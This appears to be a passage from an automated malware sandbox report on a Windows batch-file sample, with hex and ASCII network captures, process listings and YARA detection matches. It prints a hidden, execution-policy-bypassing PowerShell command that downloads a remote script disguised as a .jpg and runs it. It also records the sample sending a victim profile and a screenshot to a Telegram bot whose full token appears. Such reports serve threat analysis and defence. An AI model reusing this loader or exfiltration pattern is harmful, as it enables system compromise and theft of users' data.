2c 32 35 30 2c 38 35 Data Ascii: 1,165,242,247,216,47,16,115,76,164,62,98,14,176,231,146,115,165,124,242,142,10,88,151,31,148,168,192,250,6,152,141,111,151,40,149,242,111,236,249,228,144,68,189,194,125,4,212,171,18,181,163,148,145,93,64,254,34,81,194,90,78,246,69,34,143,139,84,149,250,85
2024-11-25 14:22:25 UTC	8000	IN	Data Raw: 2c 32 34 39 2c 31 33 39 2c 32 30 32 2c 34 35 2c 31 38 37 2c 31 36 32 2c 32 33 34 2c 33 2c 31 33 38 2c 31 32 37 2c 36 38 2c 33 33 2c 31 36 33 2c 37 30 2c 32 30 30 2c 31 2c 32 30 2c 35 32 2c 32 32 39 2c 32 33 34 2c 31 34 2c 32 30 30 2c 39 31 2c 31 36 39 2c 37 30 2c 31 35 37 2c 34 35 2c 32 33 34 2c 31 37 33 2c 33 37 2c 35 35 2c 31 37 33 2c 33 2c 31 35 35 2c 31 39 33 2c 37 35 2c 32 33 35 2c 32 31 32 2c 37 31 2c 32 30 30 2c 31 36 31 2c 31 35 34 2c 39 31 2c 32 31 37 2c 32 31 39 2c 32 33 33 2c 32 32 30 2c 32 32 38 2c 31 30 31 2c 31 37 35 2c 33 34 2c 31 38 37 2c 36 35 2c 32 33 30 2c 38 37 2c 32 36 2c 33 31 2c 36 34 2c 36 35 2c 31 39 2c 31 2c 32 33 32 2c 33 33 2c 37 33 2c 31 32 38 2c 32 33 2c 31 34 34 2c 32 35 2c 31 32 38 2c 35 35 2c 31 34 34 2c 31 32 35 2c 30 2c Data Ascii: ,249,139,202,45,187,162,234,3,138,127,68,33,163,70,200,1,20,52,229,234,14,200,91,169,70,157,45,234,173,37,55,173,3,155,193,75,235,212,71,200,161,154,91,217,219,233,220,228,101,175,34,187,65,230,87,26,31,64,65,19,1,232,33,73,128,23,144,25,128,55,144,125,0,
2024-11-25 14:22:25 UTC	8000	IN	Data Raw: 30 37 2c 31 35 31 2c 39 2c 31 35 34 2c 32 33 37 2c 31 34 32 2c 31 32 39 2c 31 36 39 2c 32 33 33 2c 31 39 30 2c 31 35 32 2c 32 32 32 2c 31 31 31 2c 33 35 2c 31 34 32 2c 32 31 36 2c 38 30 2c 31 30 32 2c 31 36 34 2c 32 31 35 2c 36 32 2c 35 33 2c 31 35 33 2c 35 30 2c 32 34 39 2c 32 33 37 2c 39 39 2c 31 34 2c 32 32 34 2c 36 38 2c 36 2c 32 32 31 2c 31 36 36 2c 31 37 32 2c 36 32 2c 33 30 2c 31 38 32 2c 31 38 37 2c 31 33 32 2c 35 37 2c 33 32 2c 33 39 2c 38 33 2c 38 33 2c 37 30 2c 32 35 31 2c 31 37 36 2c 31 37 39 2c 35 35 2c 34 2c 31 35 33 2c 31 39 39 2c 31 33 31 2c 35 31 2c 38 36 2c 31 32 39 2c 32 34 37 2c 32 31 37 2c 31 36 33 2c 38 31 2c 32 37 2c 39 2c 31 32 38 2c 36 34 2c 33 36 2c 32 32 34 2c 32 34 2c 31 34 31 2c 32 31 39 2c 32 30 30 2c 32 33 32 2c 32 33 32 2c Data Ascii: 07,151,9,154,237,142,129,169,233,190,152,222,111,35,142,216,80,102,164,215,62,53,153,50,249,237,99,14,224,68,6,221,166,172,62,30,182,187,132,57,32,39,83,83,70,251,176,179,55,4,153,199,131,51,86,129,247,217,163,81,27,9,128,64,36,224,24,141,219,200,232,232,
2024-11-25 14:22:25 UTC	8000	IN	Data Raw: 30 33 2c 32 30 34 2c 32 37 2c 37 33 2c 37 35 2c 32 33 32 2c 34 38 2c 32 33 39 2c 32 2c 33 39 2c 31 2c 32 2c 38 33 2c 31 32 34 2c 33 34 2c 36 2c 31 33 31 2c 32 37 2c 32 35 33 2c 37 2c 39 34 2c 31 38 33 2c 33 36 2c 31 33 34 2c 31 32 30 2c 31 34 38 2c 31 36 34 2c 36 35 2c 33 37 2c 31 30 31 2c 32 30 30 2c 36 38 2c 39 38 2c 31 30 35 2c 31 33 37 2c 36 39 2c 34 33 2c 32 33 34 2c 31 34 31 2c 33 36 2c 31 36 34 2c 31 32 30 2c 31 39 2c 37 33 2c 32 33 2c 32 34 31 2c 36 38 2c 37 35 2c 31 33 36 2c 32 30 2c 31 31 33 2c 33 36 2c 31 30 2c 31 35 35 2c 37 30 2c 32 30 2c 31 31 38 2c 31 36 35 2c 31 37 39 2c 31 33 33 2c 32 31 32 2c 39 38 2c 32 32 2c 32 33 30 2c 31 39 39 2c 33 2c 32 2c 32 34 31 2c 31 30 38 2c 30 2c 34 34 2c 31 36 30 2c 36 38 2c 31 37 30 2c 31 35 32 2c 31 39 32 Data Ascii: 03,204,27,73,75,232,48,239,2,39,1,2,83,124,34,6,131,27,253,7,94,183,36,134,120,148,164,65,37,101,200,68,98,105,137,69,43,234,141,36,164,120,19,73,23,241,68,75,136,20,113,36,10,155,70,20,118,165,179,133,212,98,22,230,199,3,2,241,108,0,44,160,68,170,152,192

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	34.117.59.81	443	2216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 14:22:45 UTC	158	OUT	GET /json HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ipinfo.io Connection: Keep-Alive
2024-11-25 14:22:45 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 319 content-type: application/json; charset=utf-8 date: Mon, 25 Nov 2024 14:22:45 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 14:22:45 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.75", "hostname": "static-cpe-8-46-123-75.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	149.154.167.220	443	2216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 14:22:47 UTC	276	OUT	POST /bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendMessage HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: api.telegram.org Content-Length: 268 Connection: Keep-Alive
2024-11-25 14:22:48 UTC	268	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 68 61 74 5f 69 64 22 3a 20 20 22 37 31 36 39 34 31 34 31 31 35 22 2c 0d 0a 20 20 20 20 22 74 65 78 74 22 3a 20 20 22 48 61 63 6b 20 42 79 20 57 4f 52 4d 53 3a 5c 6e 2d 20 44 65 76 69 63 65 20 49 44 3a 20 64 61 62 39 62 62 66 34 2d 61 39 62 61 2d 34 31 65 39 2d 61 62 37 61 2d 65 63 64 64 37 34 31 39 33 36 65 37 5c 6e 2d 20 48 57 49 44 3a 20 44 31 32 32 41 41 43 35 46 30 20 32 37 31 46 37 36 32 44 41 46 5c 6e 2d 20 50 75 62 6c 69 63 20 49 50 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 5c 6e 2d 20 43 6f 75 6e 74 72 79 3a 20 55 53 5c 6e 2d 20 55 73 65 72 6e 61 6d 65 3a 20 68 75 62 65 72 74 5c 6e 2d 20 43 6f 6d 70 75 74 65 72 20 4e 61 6d 65 3a 20 48 55 42 45 52 54 2d 50 43 5c 6e 2d 20 41 6e 74 69 76 69 72 75 73 3a 20 57 69 6e 64 6f 77 73 Data Ascii: { "chat_id": "7169414115", "text": "Hack By WORMS:\n- Device ID: dab9bbf4-a9ba-41e9-ab7a-ecdd741936e7\n- HWID: D122AAC5F0 271F762DAF\n- Public IP: 8.46.123.75\n- Country: US\n- Username: user\n- Computer Name: user-PC\n- Antivirus: Windows
2024-11-25 14:22:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 14:22:48 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 14:22:48 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 38 32 35 34 38 38 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 43 53 45 4e 44 42 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 43 53 45 4e 44 31 31 31 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 31 36 39 34 31 34 31 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4a 61 63 73 6f 6e 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 52 65 63 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 78 77 6f 72 6d 5f 6e 6a 72 61 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 35 34 34 35 36 38 2c 22 Data Ascii: {"ok":true,"result":{"message_id":5969,"from":{"id":8168254885,"is_bot":true,"first_name":"PCSENDBot","username":"PCSEND111bot"},"chat":{"id":7169414115,"first_name":"Jacson","last_name":"Rec","username":"xworm_njrat","type":"private"},"date":1732544568,"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	149.154.167.220	443	2216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 14:22:50 UTC	208	OUT	POST /bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendPhoto HTTP/1.1 Content-Type: multipart/form-data; boundary=058ae0d9-f381-4383-b2eb-b7376aff61a3 Host: api.telegram.org Content-Length: 695695
2024-11-25 14:22:50 UTC	1024	OUT	Data Raw: 2d 2d 30 35 38 61 65 30 64 39 2d 66 33 38 31 2d 34 33 38 33 2d 62 32 65 62 2d 62 37 33 37 36 61 66 66 36 31 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 37 31 36 39 34 31 34 31 31 35 0d 0a 2d 2d 30 35 38 61 65 30 64 39 2d 66 33 38 31 2d 34 33 38 33 2d 62 32 65 62 2d 62 37 33 37 36 61 66 66 36 31 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 68 6f 74 6f 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 70 6e 67 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 Data Ascii: --058ae0d9-f381-4383-b2eb-b7376aff61a3Content-Disposition: form-data; name="chat_id"7169414115--058ae0d9-f381-4383-b2eb-b7376aff61a3Content-Disposition: form-data; name="photo"; filename="screenshot.png"Content-Type: image/pngPNGI
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: 69 fd 6e 69 df 9d af a8 ba 3b 5d 9e db 45 bb a4 fb d9 f5 f2 cc d4 2e 97 55 dd 9d 7f d4 c2 18 96 ee 91 ae 95 da ce 4e 97 e6 bc 25 bb 5f 99 59 bc 5b ba 6e c2 d7 d2 12 63 7e 59 fa ac 4b d3 e7 5f b2 cb e5 b9 d5 58 b1 c5 3b a7 fd 77 4c 7b ee f4 a3 0c 63 60 ae 87 9d 52 7c c7 34 9f 50 7f 6a fb 4b 32 8b 76 b8 34 8d c9 49 7b f6 61 d1 0e 97 65 ca 3c 62 53 db a7 7d b7 4b d7 df f6 d2 6a 6a 9b 4b 72 7f e9 0e e9 7e 13 c4 ba 5b 5f dc ce fb 1c 7d 58 b2 7d da d7 fa a0 bd 58 4b bb 6c fb b4 66 bb 34 b7 6d 5a 9f 5a 8d 17 6f 93 f2 b6 ba b8 5a b4 75 ba 6e ea 13 53 9e 20 ce 3c 30 b7 7c 87 f4 9d a7 98 e7 d3 ef 6c 76 7e d5 dd f2 a2 9c d7 d9 e2 c2 1c 53 ae ae c7 b5 98 d3 f5 b4 c7 92 34 16 cb d2 35 97 a7 18 ed 52 72 d2 1a 5a c6 2b d2 3e b4 e4 2d 4a d7 62 2e af d9 26 7d af 5b a5 7b Data Ascii: ini;]E.UN%_Y[nc~YK_X;wL{c`R\|4PjK2v4I{ae<bS}KjjKr~[_}X}XKlf4mZZoZunS <0\|lv~S45RrZ+>-Jb.&}[{
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: 45 82 0f 90 7b 54 07 52 e5 e7 31 c5 97 be e9 d6 9a d4 d7 8b 3f 74 0c 58 15 81 3e e6 6d c0 aa 06 94 c0 a3 75 61 07 92 79 e5 98 3c 17 7c 08 45 aa ff e8 fb 5e b4 c4 99 cf b9 fb 5c 97 8f fa 2e db ff a6 cc d2 fd 6e cc 22 10 31 58 0a c0 52 f4 81 2a 00 41 c7 7e 7d 4e c2 4e 02 90 16 10 7e ff fa 8d 3f 6e 8f f8 2a 0f 89 a7 b1 d0 1a fa aa 1e 24 0f 36 d8 ff e6 bc 97 f6 a6 45 fc 49 1c ba f4 f3 b7 01 ab 12 b0 83 c8 da fd da 56 fa 21 ed 90 77 12 79 aa f4 03 89 bf 52 fa 81 f2 05 b1 7a af f4 f9 76 bd 2a 8b 3e 49 40 c9 bf e5 7b 52 65 58 0b 3f 49 3f cd d3 47 08 22 f7 90 7a 1c fd 95 dc a3 d5 31 60 09 42 2a 04 25 01 41 b2 90 97 88 2c 4b d7 92 00 a4 0a 90 6a c0 3c de ee 92 2c f3 24 f0 24 fb 90 7b 50 0a 40 e5 2c df 35 dd 7b 42 71 e1 12 90 31 7b 20 fd 16 35 cf ff cb 55 80 db a4 Data Ascii: E{TR1?tX>muay<\|E^\.n"1XRA~}NN~?n$6EIV!wyRzv>I@{ReX?I?G"z1`B%A,Kj<,$${P@,5{Bq1{ 5U
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: ef 5f 5d 5d 72 e9 8f aa 6b ae bb 21 14 7c c3 18 24 00 1d 97 81 ff d7 19 e9 1f 58 f6 d6 df 7e 6f fe 75 5c e8 0d 42 42 2c 8a 0d c2 f3 23 2a e4 5f 59 fd 77 ff 51 89 23 53 ff 98 89 55 00 3e b9 e6 d3 d5 d4 17 d2 3f 6a 4c fe 4d 42 00 46 c7 7e 9d 48 e6 cd 86 05 01 38 9e 00 fc fc 17 c6 11 80 b5 f4 9b 8b f8 13 08 c0 8f cf 52 00 ce b7 04 fc 7d 13 80 1d 04 5c 11 1b 97 48 fe 39 a1 f4 73 02 e9 e7 b8 e4 1b c4 0c 31 d7 27 3e 69 d6 b6 00 5c db 12 30 92 7f b0 3e 0a 40 88 24 df 20 22 e9 e7 94 42 af 64 6d 0a 40 88 24 df 20 d6 b5 00 2c 63 25 0b 02 70 8e 04 f2 0f 22 d9 17 b1 3e 09 c0 52 f2 95 44 79 12 7f 7a 5b 70 2b fe 1a 24 fa 90 7e 4b d2 3c 48 00 7a e5 5e 04 02 d0 c5 5e 44 2b 17 9b 35 39 f6 c6 fa 39 80 de 96 47 7f b3 fc 43 e0 bd 7e 5a f8 b9 08 94 f4 93 e8 53 75 20 63 49 41 Data Ascii: _]]rk!\|$X~ou\BB,#*_YwQ#SU>?jLMBF~H8R}\H9s1'>i\0>@$ "Bdm@$ ,c%p">RDyz[p+$~K<Hz^^D+599GC~ZSu cIA
2024-11-25 14:22:50 UTC	15447	OUT	Data Raw: bf 64 df 74 7f d6 17 be 66 90 00 8c 70 01 88 14 54 65 9f 84 5f 59 e9 a7 0a 3e a4 1e b2 4f c2 4f d2 0f 90 81 8c 91 7f 50 8b c2 ba ca 8f aa 3f 04 1f 2d 52 4f 02 50 62 51 92 af b3 f3 e5 39 26 f1 c7 7a e5 38 ca 69 73 1b 51 07 88 39 97 79 2e fe 34 ef 63 90 e0 73 c9 a7 16 d9 47 df e7 3c 1f 5a 59 98 50 25 a1 57 03 22 01 73 6b 95 7f a0 aa 3f 90 0c 54 9c 56 31 c6 9e 0b 8c 99 43 04 22 fd 96 ee 9c ee 35 81 04 5c b4 43 ba 0f 8e cb ee 70 65 b5 7c a7 14 6f 64 9e 24 a0 44 1e 31 1d ff 55 45 1f 7d e5 6a 2c f9 27 f4 ac 40 ed b1 6c c7 f4 f9 b6 a7 1a 30 7d 76 93 80 b4 dd ad d3 da 46 ca 81 64 9d 04 20 48 d8 01 f3 12 77 f4 25 f2 b4 5e 39 82 39 8f f9 75 b4 8f 8b bf 08 e4 1d 72 cf f3 3c 56 8a 39 87 3c ad eb 91 77 29 a6 38 ad 04 5f 39 e7 f8 fe 39 87 7e 8a 49 b8 21 01 15 93 a0 93 Data Ascii: dtfpTe_Y>OOP?-ROPbQ9&z8isQ9y.4csG<ZYP%W"sk?TV1C"5\Cpe\|od$D1UE}j,'@l0}vFd Hw%^99ur<V9<w)8_99~I!
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: 80 10 e5 1f 6c 57 00 82 c7 7e e9 5b 0d 48 1f 01 68 1c 32 01 a8 cc 6b ab fb 38 0e 0c 8e c9 33 16 d7 b4 02 d0 f7 fe 39 46 00 66 12 d0 0a c1 28 eb 94 7a ca 3a 8e 05 5b e5 c7 3b 02 19 33 b7 e5 f8 ee 40 dc 4b 62 d5 5f dc bf ed 7b fc 97 0b 42 bc 24 04 f1 e7 e5 21 0a 3b a5 5d 14 7b 4a 3d 63 51 e2 d9 2a 00 81 58 2b 00 21 ae 1b 41 e0 0d 12 50 10 7d 93 a7 7c ae 9b 3c f9 9a 51 0c 4a 14 80 a2 fc 8b 47 82 89 23 07 11 7c 1e 03 b6 f2 0f 94 82 ca 40 05 a0 e2 0f 18 fb ce 3f 8f f9 c6 ea 3e 84 20 7d e3 c4 80 be 62 10 49 a7 c8 8b 02 30 c6 da e3 be 31 87 36 8b 23 00 21 ca 3a 51 f4 81 f3 b1 6f 45 a0 c2 af 1d 0b 63 24 9d 62 af 0a 3b e4 1b 79 ac 39 f5 aa 71 0e 8c 9b c7 bc 7d e5 1f 7d df 1b 48 1b 85 1f 32 50 21 c8 71 60 2e fe 88 c7 7d d7 4e 6b c0 74 05 00 00 ff f4 49 44 41 54 f8 Data Ascii: lW~[Hh2k839Ff(z:[;3@Kb_{B$!;]{J=cQ*X+!AP}\|<QJG#\|@?> }bI016#!:QoEc$b;y9q}}H2P!q`.}NktIDAT
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: 7b c2 35 53 d2 d0 b9 ba 7e a8 f4 8b 55 80 82 08 a4 d2 cf 1b 7e 69 11 80 b4 88 be 78 f4 b7 97 7e b1 df cb 3c da 56 00 72 d3 6f bd 00 e4 f1 fd bc 31 a4 9f 15 80 c4 10 80 93 13 3e 55 05 9e 92 cf f7 ff 21 f1 aa 78 1b e4 60 26 f7 a0 7d 87 20 fd 7a 64 b7 c4 01 69 e7 51 5d a4 9f 32 90 63 c1 51 e4 11 03 44 9f b2 8f 7c 9f a7 20 8c d2 10 41 68 ac 15 6f 8a b9 d8 57 d2 b5 b2 6e 0d 79 36 54 0b 82 02 d0 63 c1 51 fa d1 b6 82 d0 67 b8 a7 f1 ba 86 bc d2 47 c8 b5 47 81 65 19 01 c8 3a d6 7b 1c d8 63 be cc 11 e3 08 30 7d e2 e6 d7 35 27 96 9f e7 a3 fa 6a 3a 25 9c 12 8d b9 28 d4 c4 3c fa 5e ce e1 98 7c c7 51 e6 d1 17 63 e4 ba 7f 9c 17 f6 40 f2 39 ef d1 63 a4 1f 28 07 81 1c 3e cb e4 37 3e 36 8a 47 b0 92 2f d2 0a c0 4c 12 9a cb 45 20 51 00 c6 7c d8 9e 00 e4 c2 8f 8b 6e ee 1e fa Data Ascii: {5S~U~ix~<Vro1>U!x`&} zdiQ]2cQD\| AhoWny6TcQgGGe:{c0}5'j:%(<^\|Qc@9c(>7>6G/LE Q\|n
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: 46 6d 9d b3 5a 70 55 01 48 1b 85 1f 44 91 e7 45 1d a2 f0 8b 47 86 15 80 ed 3e 75 3c 08 40 25 a0 c2 af ca be 39 02 50 09 38 4b ee 09 55 82 b3 e6 59 8f c4 8b 12 30 8a 3e fa 54 ff d5 63 be 08 b8 32 46 08 32 a7 00 44 f0 c5 ca 3f 8f fa 56 b9 57 e2 13 c4 d9 10 27 77 8d e3 be 43 0e f3 c8 bf 28 00 95 80 8a 3f aa 00 6b 3b 88 3f 51 06 2a ee a2 bc 53 00 42 26 f8 88 49 cc 69 e7 6a ac 11 7e b4 1e 0b e6 38 b0 95 7e b4 f6 21 8a 41 e4 df e4 29 9f 1f c7 4a c0 9a 77 7a 89 0d 62 2f 1e 21 26 66 25 a0 fd 88 b7 0c 23 e2 90 79 0a 39 fa 8e 91 7f b4 48 3c fa 54 03 32 76 0e b1 67 df dc 38 36 a6 0c a4 25 c6 fe b4 8c 39 0e 8c ec 8b 95 7d 51 f8 2d 12 80 48 3a e4 9d c7 84 11 7a 0a 40 44 9e 62 90 1c a5 9e 71 d6 28 07 95 80 0a c1 56 00 7a 6c d8 be 12 10 21 87 88 03 2b f7 90 73 80 b8 23 Data Ascii: FmZpUHDEG>u<@%9P8KUY0>Tc2F2D?VW'wC(?k;?Q*SB&Iij~8~!A)Jwzb/!&f%#y9H<T2vg86%9}Q-H:z@Dbq(Vzl!+s#
2024-11-25 14:22:50 UTC	16355	OUT	Data Raw: e9 8f da fb 08 98 fa 88 ad 1d 81 e9 80 a9 0f db fb 5a 24 d3 7f d2 30 f5 a1 fb 17 c5 cc 07 ef 4f d3 1f f8 59 1f fd 52 8f f1 22 08 04 df 38 ac 3a f9 be 34 63 ad 88 e4 5f c4 a8 02 d0 53 cb bf ee bb 06 8b bd 5a fc 69 3c 0a 92 80 1d 27 ff 38 1e bc ca f6 01 fa c4 b9 21 38 92 7a 62 ea 6d 3f 6c 89 e6 1b 51 d8 7b 06 a0 40 f4 09 c6 12 7e b9 ea ef 2d df cd ad 04 20 cf f9 93 e8 93 ec f3 b1 fc 1c 40 e6 4e b4 78 11 80 92 7f 12 7f 11 7a 36 a0 04 5f 7d 4c b8 16 83 40 1f 88 23 ff 6a 19 e8 85 a0 a4 9f 24 9f a4 9e 3f de 0b 91 00 54 be 62 f9 98 70 a9 fe 93 0c 94 fc 6b c5 e0 91 bd 67 ff d1 f7 63 2f f2 fc 18 99 87 00 d4 b3 fe ea 1c f0 c7 80 25 00 35 97 f3 99 2b f2 2f 5f 3a 42 9c bc 22 05 25 00 25 f4 c0 0b bf b5 47 db e7 b0 18 7d 72 fb e4 9f b5 6b 0e 47 02 de 9a 66 0e a1 ea 0f Data Ascii: Z$0OYR"8:4c_SZi<'8!8zbm?lQ{@~- @Nxz6_}L@#j$?Tbpkgc/%5+/_:B"%%G}rkGf
2024-11-25 14:22:50 UTC	116	OUT	Data Raw: 17 7d 7e ac 7c fa b5 fc 23 46 f5 1f 22 4f 48 e2 75 8f fb 5e 4f e2 39 bc dc 1b 47 00 66 d9 67 63 90 08 cc fd 63 a8 02 ec 31 73 2c 52 b0 61 d5 71 b6 f6 cd 88 bf 66 4e 7d cd 37 e3 46 00 4a f4 49 e8 51 0d a8 0b 41 a8 f0 93 b8 e3 16 60 09 40 84 1d cf 09 94 00 94 04 04 c4 5d 16 76 7a fe 9f ad 95 34 cc 6b 4b c5 21 55 85 7a 0e 60 24 00 41 cf 04 44 02 22 Data Ascii: }~\|#F"OHu^O9Gfgcc1s,RaqfN}7FJIQA`@]vz4kK!Uz`$AD"
2024-11-25 14:22:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 14:22:52 GMT Content-Type: application/json Content-Length: 973 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Target ID:	0
Start time:	09:22:11
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pe4905VGl1.bat" "
Imagebase:	0x7ff7c9b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:22:12
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:22:12
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Imagebase:	0x7ff7c9b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:22:12
Start date:	25/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.2026750928.000002E7E3053000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.1865192800.000002E7C8CF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.1865192800.000002E7C8C60000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.2018457002.000002E7E2CD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected 